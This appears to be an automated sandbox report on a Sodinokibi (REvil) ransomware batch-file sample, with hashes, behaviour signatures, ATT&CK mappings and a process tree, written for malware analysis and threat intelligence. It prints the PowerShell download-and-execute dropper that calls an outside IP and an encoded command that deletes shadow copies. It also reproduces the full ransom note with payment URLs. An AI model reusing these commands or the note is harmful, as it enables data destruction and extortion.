sodinokibi | 6e19ccbb3e491327f4ddebd05fd7ce6c87d9a94acd5851b856569ecb1a17a347

Analysis

max time kernel
78s
max time network
81s
platform
windows10_x64
resource
win10v200722
submitted
18/08/2020, 23:10

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General

Target
6bfe2bf5d32adbdaa5ef03bf7c3652cf.bat
Size 215B
Sample200818-d9jpehclts
SHA256 6e19ccbb3e491327f4ddebd05fd7ce6c87d9a94acd5851b856569ecb1a17a347
MD5 4ff9830e5ccfee8915f14f83fe8f1918
SHA1 0efe2413519a6ce400cc4042ee029c2b84b73b25
SHA512 222eeadcd7acf048a6e5cd50d5df143c63f1200f9bc571333aff360ba7e88453152e071383d1f6d68fc889556beb01b931f08305d5daaa4ed1e697be60920108
MD5 SHA1 SHA512

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Language

Source

URLs

ps1.dropper
http://185.103.242.78/pastes/6bfe2bf5d32adbdaa5ef03bf7c3652cf

Extracted

Path

C:\zs2qv453-readme.txt

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension zs2qv453. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B5E4685867457647 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/B5E4685867457647 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: G1SkMstPT5vGWQVLNAM/sBwVyKN17rED5Utl/ufqK2J/VAmKfBrvaO7tZBEGgbIA N0/dIK0zxyDoGetsuD85PJS+QqBXLUhhvWXq5+pG/lgFmmzrkV48LTvoGcKi8PRQ 4jKJABIv4vFdiawwDab4/3Gik+8a8/T9T3Bf+buEtGTZKoBf8rfoWp693XyT99zD 4rWunaBpdy0eacrmH3ktoXM3AB7IFrBvM8q3TOZzYVNwnNvFBi/5axDKgJ32JqOD 21GpHgRnTBNJMi0HbOf4SNB5tCfYqvfEjMIznjHofWM7Q8/mLJNi+jRBgmYhMKE3 zJ2N+XWhMm1L964QFM9p2f63mve6P9fWI8MojsgwH9ef1ubY+g++1jW9uJRtqNxI 2eiyC9UuBFcMLQpN8ljDck1rikw3bJg9yYyNCBGQ5l+q0FQ47mq1tvnwr8Z1fTll 3G/16TqwxAjP2tpgyG648HU5BD5ni37/PiUSm3QtnOEJAbLNZGtwC4a6Z6UFygQX TiJx7beGAUnWfmoBU92NY/x8dOcSnd1IgZqlJ6oAWdv2tZdvk3yhENy7yyo7vWD2 gzsQeAqyqY49UQey6dWgMZSc3EQMQTk856V3Q7gIDfQBXDU2UlcnB1BI/OIkDiIN CxmzDu9rGB/pWdelHbW/d8zzTlqxmmhINzb/IIEgJ2dmhhKCxiwKgLn0FvYjaTdr UaRIj7nShy5V/+hN6r8PWcD8uLVyDm+8rImVWaDVqFcYQFZrkgbAQrogficqX0y7 imMwRghH8XjcSDjx0gp2STZkJ0JgJnADgLSA0lyb8MM4OKCWunC9FKOOf0bg1mYP mzUEQj7Yam6RUndxffUGygdSwPsA240FCPDoi2MUMFw5MKj/mkfOfjWjf5TfHaiS OBEu6Pok8tmyG9O073ZgQXAjA0M1gzcRyOcXxOuk5POihx/tNwkFFWlnQjwncSQ0 KgEgilxn7/mzWUBgvQcPiKp0/TLL4gIyzxQhAHrU0mLEyp05XuLkTnTsXTCVkyLT JjR3NWnc926b45Q2uGvRcSMSnPw0J8dcnqLYS2ELUbRzk+jfaOpVgV3C5Fb4KrlY tDx4sWGbHZNMUur084bsTQ580hs+Z0v62gSl5fJ2buajN6RDRDX7E4htgZxeyy3i mXZoSWdIIMynSYNlqIJ3CNVTcL6JtxBlZp3Yf2WlZMkzTthIft/bdn5sihoqFoZi wNslUqXFHJnikMuCM5aiOM4rCp7UytdbVaGPzuJ2/duZTa0cQdILMm+m91/tczFm Hw/td+xqC2jrq0uWL51pMhj1kL4= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B5E4685867457647
http://decryptor.cc/B5E4685867457647

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Blacklisted process makes network request 1 IoCs

flow	pid	Process
1	500	powershell.exe

Modifies extensions of user files 12 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	\??\c:\users\admin\pictures\TraceRemove.tiff	powershell.exe
File renamed	C:\Users\Admin\Pictures\ReadUnpublish.raw => \??\c:\users\admin\pictures\ReadUnpublish.raw.zs2qv453	powershell.exe
File opened for modification	\??\c:\users\admin\pictures\NewLimit.tiff	powershell.exe
File opened for modification	\??\c:\users\admin\pictures\SelectEnter.tiff	powershell.exe
File renamed	C:\Users\Admin\Pictures\NewLimit.tiff => \??\c:\users\admin\pictures\NewLimit.tiff.zs2qv453	powershell.exe
File renamed	C:\Users\Admin\Pictures\RemoveLock.png => \??\c:\users\admin\pictures\RemoveLock.png.zs2qv453	powershell.exe
File renamed	C:\Users\Admin\Pictures\SelectEnter.tiff => \??\c:\users\admin\pictures\SelectEnter.tiff.zs2qv453	powershell.exe
File renamed	C:\Users\Admin\Pictures\TraceRemove.tiff => \??\c:\users\admin\pictures\TraceRemove.tiff.zs2qv453	powershell.exe
File renamed	C:\Users\Admin\Pictures\SplitExpand.crw => \??\c:\users\admin\pictures\SplitExpand.crw.zs2qv453	powershell.exe
File renamed	C:\Users\Admin\Pictures\UseShow.tif => \??\c:\users\admin\pictures\UseShow.tif.zs2qv453	powershell.exe
File renamed	C:\Users\Admin\Pictures\CompressOut.crw => \??\c:\users\admin\pictures\CompressOut.crw.zs2qv453	powershell.exe
File renamed	C:\Users\Admin\Pictures\DisableSelect.tif => \??\c:\users\admin\pictures\DisableSelect.tif.zs2qv453	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\uvi22k.bmp"	powershell.exe

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\FormatJoin.js	powershell.exe
File opened for modification	\??\c:\program files\GetDismount.easmx	powershell.exe
File opened for modification	\??\c:\program files\JoinPop.xlsm	powershell.exe
File opened for modification	\??\c:\program files\ClearUnpublish.001	powershell.exe
File opened for modification	\??\c:\program files\InstallOptimize.shtml	powershell.exe
File opened for modification	\??\c:\program files\StepStop.TS	powershell.exe
File created	\??\c:\program files (x86)\zs2qv453-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\CheckpointMount.vsd	powershell.exe
File opened for modification	\??\c:\program files\CompleteRequest.search-ms	powershell.exe
File opened for modification	\??\c:\program files\HideUndo.midi	powershell.exe
File opened for modification	\??\c:\program files\UnblockUpdate.m3u	powershell.exe
File opened for modification	\??\c:\program files\BlockSearch.zip	powershell.exe
File opened for modification	\??\c:\program files\FormatDebug.wax	powershell.exe
File opened for modification	\??\c:\program files\PublishTest.inf	powershell.exe
File opened for modification	\??\c:\program files\SplitDeny.vsdm	powershell.exe
File created	\??\c:\program files\zs2qv453-readme.txt	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
500	powershell.exe
500	powershell.exe
500	powershell.exe
500	powershell.exe
500	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	500	powershell.exe
Token: SeDebugPrivilege	500	powershell.exe
Token: SeDebugPrivilege	1644	powershell.exe
Token: SeBackupPrivilege	3936	vssvc.exe
Token: SeRestorePrivilege	3936	vssvc.exe
Token: SeAuditPrivilege	3936	vssvc.exe
Token: SeTakeOwnershipPrivilege	500	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4040 wrote to memory of 500	4040	cmd.exe	67
PID 4040 wrote to memory of 500	4040	cmd.exe	67
PID 4040 wrote to memory of 500	4040	cmd.exe	67
PID 500 wrote to memory of 1644	500	powershell.exe	68
PID 500 wrote to memory of 1644	500	powershell.exe	68
PID 500 wrote to memory of 1644	500	powershell.exe	68

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\6bfe2bf5d32adbdaa5ef03bf7c3652cf.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4040
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/6bfe2bf5d32adbdaa5ef03bf7c3652cf');Invoke-CXLQETAA;Start-Sleep -s 10000"
  2⤵
  - Blacklisted process makes network request
  - Modifies extensions of user files
  - Sets desktop wallpaper using registry
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:500
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1644

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:3936

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

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Downloads

memory/500-8-0x0000000006DD0000-0x0000000006DD1000-memory.dmp

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memory/500-11-0x00000000094D0000-0x00000000094D1000-memory.dmp

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memory/500-3-0x0000000006E40000-0x0000000006E41000-memory.dmp

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memory/500-4-0x0000000006BC0000-0x0000000006BC1000-memory.dmp

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memory/500-5-0x0000000007470000-0x0000000007471000-memory.dmp

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memory/500-6-0x00000000075E0000-0x00000000075E1000-memory.dmp

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memory/500-7-0x0000000007650000-0x0000000007651000-memory.dmp

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memory/500-2-0x0000000000E00000-0x0000000000E01000-memory.dmp

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memory/500-9-0x00000000079A0000-0x00000000079A1000-memory.dmp

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memory/500-10-0x0000000007D50000-0x0000000007D51000-memory.dmp

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memory/500-12-0x0000000008030000-0x0000000008031000-memory.dmp

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memory/500-1-0x0000000073400000-0x0000000073AEE000-memory.dmp

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memory/1644-14-0x0000000073400000-0x0000000073AEE000-memory.dmp

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memory/1644-25-0x0000000009A80000-0x0000000009A81000-memory.dmp

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memory/1644-27-0x00000000097D0000-0x00000000097D1000-memory.dmp

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memory/1644-28-0x000000000A020000-0x000000000A021000-memory.dmp

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